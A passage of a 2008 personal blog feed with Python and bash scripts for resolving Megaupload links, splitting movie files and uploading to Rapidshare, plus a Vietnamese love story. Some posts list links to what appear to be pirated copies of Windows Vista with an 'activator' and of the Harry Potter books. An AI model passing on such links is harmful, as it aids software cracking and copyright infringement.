"\n":&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            url = url[:-1]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        parts = url.split("/")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        if len(parts) &gt; 4:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            url = "http://megaupload.com/" + parts[-1]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        print url&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        req = urllib2.Request(url)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        req.add_header("Cookie", cookie)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        req.add_header("User-Agent", "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.8 (Ubuntu-gutsy)")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        gr = redirectManager()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        opener = urllib2.build_opener(gr)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        source = opener.open(req)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        if gr.redirect and url != gr.redirect:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            # If this is a redirect, the user selected Direct Downloads at Megaupload's preferences&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            # so we can download the file already&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            real_url = gr.redirect&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            # If this is not a redirect, we have to look for the direct download link&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            source = source.read()&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            prefixes = re.findall("document.getElementById\(\"download_html\"\).innerHTML = '&lt;a href="http://www.blogger.com/%5C"&gt;", source)&lt;/a&gt;&lt;/span&gt;&lt;a href="http://www.blogger.com/%5C"&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            if prefixes:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;                prefix = prefixes[-1]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;                log("This file cannot be downloaded")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;                errors = errors + current[0]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;                current = current[1:]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;                print "\n\n"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;                continue&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            real_url = re.findall("document.getElementById\(\"downloadhtml\"\).innerHTML = '&lt;/span&gt;&lt;/a&gt;&lt;a href="http://www.blogger.com/%5C" class="\"&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            real_url = "www" + prefix + "." + real_url&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            real_url = urllib.quote(real_url)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        if from_file:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            current = current[1:]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            list_f = file(l_file, "w")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            list_f.writelines(real_url)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            list_f.close()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            log("List updated")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        print "\n\n"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    except KeyboardInterrupt:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        print "\n\nBye"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        exit()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    except ValueError:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        log("This doesn't look like an url. We won't get its direct links\n\n")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        if from_file:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            errors = errors + current[0]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            current = current[1:]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    except urllib2.URLError, e:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        log("URLError, we can't get the direct links\n\n")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        print e&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        if from_file:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            errors = errors + current[0]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;            current = current[1:]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    except:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        log("Unexpected error.")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;        raise&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;if errors:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    log("The following links could not be got")&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    print errors&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;else:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;    log("All links were got")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(102, 102, 204);"&gt;log("Finished")&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Have fun !&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-4861470438767750586?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/4861470438767750586/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=4861470438767750586' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/4861470438767750586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/4861470438767750586'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/08/my-pythonperl-script-get-direct-links.html' title='My python/perl script : Get direct links of Megaupload links !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-9142942369700560821</id><published>2008-07-28T18:55:00.000-07:00</published><updated>2008-07-28T19:00:42.574-07:00</updated><title type='text'>My bash script : Split media files to multiple parts viewable version 2 !</title><content type='html'>After a long time using the first version, I realize that it take a long time to finish its task. So I decide to change it. And here is my second version, it's better than the older one.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#!/bin/bash&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#This bash script is using to split movie into multiple viewable parts. Give it the execute permission and then enjoy it ;)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;#Written by bornbygoogle. Any question please let me know at bornbygoogle@yahoo.com or at hackthefreedom.blogspot.com.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ARGS=2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;E_MAUVAISARGS=65&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;if [ $# -ne "$ARGS" ]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  echo "Usage: `basename $0` directory_which_content_all_the_film_you_want_to_split time_length_of_each_part_in_seconds"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;  exit $E_MAUVAISARGS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;fi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;cd $1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ls | grep avi &gt; 002.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;sed 's/.avi//g' 002.txt &gt; 001.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;rm 002.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;echo "List of films : "&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;cat 001.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;i=1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;size=1000001&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;time=0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;echo "Start to split !"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;cat 001.txt | while read line; do&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    while [ $size -gt 1000000 ]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    do&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         echo "Episode $i - film $line"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         mencoder -ss $time -endpos $2 -ovc copy -oac copy $line.avi -o $line-part$i.avi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         echo "Finished split episode $i"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         let size=`cat $line-part$i.avi | wc -c`&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         let i++&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         let time=$time+$2-10&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    done;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    let i--&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    rm $line-part$i.avi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    let size=1000001&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    let i=1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    let time=0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    done&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;echo "Finished ! Have fun !"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;rm 001.txt&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-9142942369700560821?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/9142942369700560821/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=9142942369700560821' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/9142942369700560821'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/9142942369700560821'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/07/my-bash-script-split-media-files-to.html' title='My bash script : Split media files to multiple parts viewable version 2 !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-4281572009619435870</id><published>2008-07-06T05:32:00.000-07:00</published><updated>2008-07-06T05:33:47.720-07:00</updated><title type='text'>Tình yêu là biết chờ đợi</title><content type='html'>&lt;p&gt;&lt;strong&gt;&lt;span style="font-size: small;"&gt;&lt;span style="color: blue;"&gt;Luôn cúp máy trước&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;&lt;span style="font-size: small;"&gt;Ngày ấy, khi cô gái và chàng trai đang yêu nhau thắm thiết. Mỗi lần gọi điện thoại, hai người chuyện trò tưởng chừng không bao giờ dứt. Cuối cuộc gọi, luôn là cô gái gác máy trước, sau khi đã cố nấn ná, không muốn nói lời tạm biệt, chàng trai lại từ từ cảm nhận hơi ấm còn vương lại của giọng nói trong không trung, và một nỗi buồn man mác, vấn vương, lưu luyến.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; &lt;p&gt;Sau đó, hai người chia tay. Cô gái nhanh chóng có người yêu mới, một anh chàng đẹp trai, hào nhoáng. Cô gái thấy rất mãn nguyện, và cũng rất đắc ý. Nhưng rồi về sau, cô dần dần cảm thấy giữa hai người dường như thiêu thiếu một điều gì đó, sự bất an đó khiến cho cô thấy như có một sự mất mát mơ hồ. Là điều gì vậy nhỉ? Cô cũng không rõ nữa. Chỉ là khi hai người kết thúc cuộc gọi, cô gái cảm thấy khi mình chưa kịp nói xong một nửa câu “Hẹn gặp lại”, thì đầu dây bên kia đã vang lên tiếng “cạch” cúp máy. Mỗi lúc như vậy, cô luôn thấy cái âm thanh chói tai đó như đóng băng lại trong không trung, rồi xuyên vào trong màng nhĩ. Cô cảm thấy dường như người bạn trai mới giống như một cánh diều đứt dây, đôi tay yếu ớt của mình sẽ không thể níu giữ được sợi dây vô vọng đó.&lt;/p&gt; &lt;p&gt;Rồi cũng đến một ngày, hai người cãi nhau. Anh chàng đó chán nản, quay người bỏ đi. Cô gái không khóc, mà cảm thấy như là được giải thoát.&lt;/p&gt; &lt;p&gt;Một hôm, cô gái chợt nhớ đến người yêu đầu tiên, bỗng thấy bùi ngùi: Chàng “ngốc” đợi nghe cô nói xong câu “Tạm biệt”. Cảm xúc đó khiến cô nhấc máy. Giọng của chàng trai vẫn chân chất, bình thản như xưa. Cô gái thì chẳng thốt lên lời, luống cuống nói “Tạm biệt”&lt;/p&gt; &lt;p&gt;Lần này cô không gác máy, một xúc cảm khó gọi thành tên khiến cô im lặng lắng nghe sự tĩnh lặng của đầu dây bên kia.&lt;br /&gt;Chẳng biết bao lâu sau đó, đầu dây bên kia vọng đến tiếng của chàng trai, “Sao em không cúp máy?” Tiếng của cô gái như khản lại, ” Tại sao lại muốn em cúp máy trước?”. “Quen rồi”. Chàng trai bình tĩnh nói, “Anh muốn em cúp máy trước, như vậy anh mới yên tâm”.&lt;/p&gt; &lt;p&gt;“Nhưng người cúp máy sau, thường cảm thấy nuối tiếc, như vừa để tuột mất một điều gì.” Cô gái hơi run run giọng. “Vì vậy, anh thà nhận sự mất mát đó, chỉ cần em vui là đủ.” Cô gái không kìm nổi mình, bật khóc, những giọt nước mắt nóng hổi thấm đẫm cả vùng kí ức tình yêu thuở nào. Cuối cùng, cô cũng hiểu ra rằng, người không đủ kiên nhẫn để nghe cô nói hết câu cuối cùng, không phải là người mà cả đời này cô mong đợi.&lt;/p&gt; &lt;p&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;&lt;strong&gt;&lt;span style="font-size: small;"&gt;&lt;span style="color: blue;"&gt;Hoá ra tình yêu đôi khi thật đơn giản, chỉ một chút đợi chờ, đã có thể nói lên tất cả.&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-style: italic;"&gt;Sưu tầm&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;&lt;strong&gt;&lt;span style="font-size: small;"&gt;&lt;span style="color: blue;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-4281572009619435870?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/4281572009619435870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=4281572009619435870' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/4281572009619435870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/4281572009619435870'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/07/tnh-yu-l-bit-ch-i.html' title='Tình yêu là biết chờ đợi'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-7094786045460670478</id><published>2008-05-29T13:28:00.000-07:00</published><updated>2008-05-31T03:51:53.095-07:00</updated><title type='text'>My bash script : Split a movie to multiple parts viewable !</title><content type='html'>This is my bash script to split one movie in to multiple parts viewable.&lt;br /&gt;Ex : You want to split movie Blade3.avi(180 mins) into 18 parts(10 mins)&lt;br /&gt;&lt;br /&gt;This script using mencoder ( mplayer ), so please make sure that you have it installed.&lt;br /&gt;This script I write to split multiple movies in a folder.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;#!/bin/bash&lt;br /&gt;cd &lt;_where_you_store_ur_movie_&gt;&lt;br /&gt;ls | grep avi &gt; 002.txt                    &lt;span style="font-weight:bold;"&gt;// get their names&lt;/span&gt;&lt;br /&gt;sed 's/.avi//g' 002.txt &gt; 001.txt           &lt;span style="font-weight:bold;"&gt; // remove the extensions .avi &lt;/span&gt;&lt;br /&gt;rm 002.txt&lt;br /&gt;i=2                                  // I use the variable i to marque the parts&lt;br /&gt;fault=0                              // fault is used to stop the script at the end of each file&lt;br /&gt;cat 001.txt | while read line; do&lt;br /&gt;    mencoder -endpos 00:10:30 -ovc copy -oac copy $line.avi -o $line-part1.avi;&lt;br /&gt;    mencoder -ss 00:10:00 -oac copy -ovc copy $line.avi -o 001.avi;&lt;br /&gt;    while [ $fault -eq 0 ]&lt;br /&gt; do&lt;br /&gt;      mencoder -endpos hh:mm:ss(hour:minute:second) -ovc copy -oac copy 001.avi -o $line-part$i.avi&lt;br /&gt;      mencoder -ss hh:mm:ss(hour:minute:second) -oac copy -ovc copy 001.avi -o 002.avi &gt; log.txt&lt;br /&gt;      mv 002.avi 001.avi&lt;br /&gt;      let fault=`cat log.txt | grep nan | wc -l`&lt;br /&gt;      let i++&lt;br /&gt; done;&lt;br /&gt;    let fault=0&lt;br /&gt;    let i=2&lt;br /&gt;    done&lt;br /&gt;rm 001.avi&lt;br /&gt;rm log.txt&lt;br /&gt;rm 001.txt&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-7094786045460670478?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/7094786045460670478/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=7094786045460670478' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/7094786045460670478'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/7094786045460670478'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/05/my-bash-script-split-movie-to-multiple.html' title='My bash script : Split a movie to multiple parts viewable !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-8357659602448833840</id><published>2008-05-19T09:43:00.000-07:00</published><updated>2008-05-19T09:45:45.047-07:00</updated><title type='text'>Windows Vista - version French !</title><content type='html'>This file contains also the URL activator, and the guide to be use. &lt;br /&gt;&lt;br /&gt;http://www.megaupload.com/?d=WMJDPWJE&lt;br /&gt;http://www.megaupload.com/?d=CGTIKZWK&lt;br /&gt;http://www.megaupload.com/?d=DL61TCLI&lt;br /&gt;http://www.megaupload.com/?d=KTNKAFBL&lt;br /&gt;http://www.megaupload.com/?d=48X9LVDM&lt;br /&gt;http://www.megaupload.com/?d=VWI8IASJ&lt;br /&gt;http://www.megaupload.com/?d=MN3IVYA6&lt;br /&gt;http://www.megaupload.com/?d=WP0Q4P91&lt;br /&gt;http://www.megaupload.com/?d=7C3FSRSQ&lt;br /&gt;http://www.megaupload.com/?d=YNN6LCMU&lt;br /&gt;http://www.megaupload.com/?d=9BIZSPFJ&lt;br /&gt;http://www.megaupload.com/?d=N7DTV0GJ&lt;br /&gt;http://www.megaupload.com/?d=WE8P2VZD&lt;br /&gt;http://www.megaupload.com/?d=05PQNAW5&lt;br /&gt;http://www.megaupload.com/?d=S7Y8KW6F&lt;br /&gt;http://www.megaupload.com/?d=W9HDOFGH&lt;br /&gt;http://www.megaupload.com/?d=EPE3VHZ3&lt;br /&gt;http://www.megaupload.com/?d=7DFJCBGI&lt;br /&gt;http://www.megaupload.com/?d=C4WYQ2AK&lt;br /&gt;http://www.megaupload.com/?d=6E88RJGO&lt;br /&gt;http://www.megaupload.com/?d=OP3TQ5DN&lt;br /&gt;http://www.megaupload.com/?d=8SCFIH2W&lt;br /&gt;http://www.megaupload.com/?d=YUWW31P9&lt;br /&gt;http://www.megaupload.com/?d=3AIKFCDG&lt;br /&gt;http://www.megaupload.com/?d=6IS21EFQ&lt;br /&gt;http://www.megaupload.com/?d=A5L75L98&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-8357659602448833840?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/8357659602448833840/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=8357659602448833840' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/8357659602448833840'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/8357659602448833840'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/05/windows-vista-version-french.html' title='Windows Vista - version French !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-1043489675746502236</id><published>2008-05-07T12:14:00.000-07:00</published><updated>2008-05-07T12:17:15.105-07:00</updated><title type='text'>Harry Potter collection !</title><content type='html'>Here is my Harry Potter collection ( 7 books ) - English and Vietnamese version !&lt;br /&gt;&lt;br /&gt;Vietnamese version :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;http://rapidshare.com/files/111579286/Harry_Potter_Vietnamese.rar.html&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;English version : &lt;br /&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;http://rapidshare.com/files/111581205/HPFull_English_PDF.rar.html&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/795668259885267017-1043489675746502236?l=hackthefreedom.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackthefreedom.blogspot.com/feeds/1043489675746502236/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=795668259885267017&amp;postID=1043489675746502236' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/1043489675746502236'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/795668259885267017/posts/default/1043489675746502236'/><link rel='alternate' type='text/html' href='http://hackthefreedom.blogspot.com/2008/05/harry-potter-collection.html' title='Harry Potter collection !'/><author><name>superguepard</name><uri>http://www.blogger.com/profile/12422411794317037477</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp1.blogger.com/_dqEiiECQkmU/R4YJnerUGVI/AAAAAAAAAA8/ZgDRJ4YBeh8/S220/alta-badia.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-795668259885267017.post-5333901165255279497</id><published>2008-05-07T12:01:00.000-07:00</published><updated>2008-05-07T12:14:07.172-07:00</updated><title type='text'>Bash script upload to rapidshare with collector account !</title><content type='html'>Fist, download this script http://rapidshare.com/files/113269788/Upload_rapid.pl.html&lt;br /&gt;Copy that script to /usr/local/bin ( with ubuntu - may be different with others distros ). Give it the execute permission.&lt;br /&gt;&lt;br /&gt;And then, this is my script to upload a file or a list of file to rapidshare with collector account : &lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;#!/bin/bash&lt;br /&gt;# Usage : rapidupload file &lt;_file_name_&gt;&lt;br /&gt;#         rapidupload list &lt;_list_file_&gt;&lt;br /&gt;# Remember to add execute permission to the script upload rapidshare, copy it to /usr/local/bin. And then, replace its name to &lt;_script to upload file to rapidshare_&gt;. Next step, we copy this bash script to /usr/local/bin. Now, we can run rapidupload in bash where we place to file needed upload&lt;br /&gt;case "$1" in&lt;br /&gt;    "file") 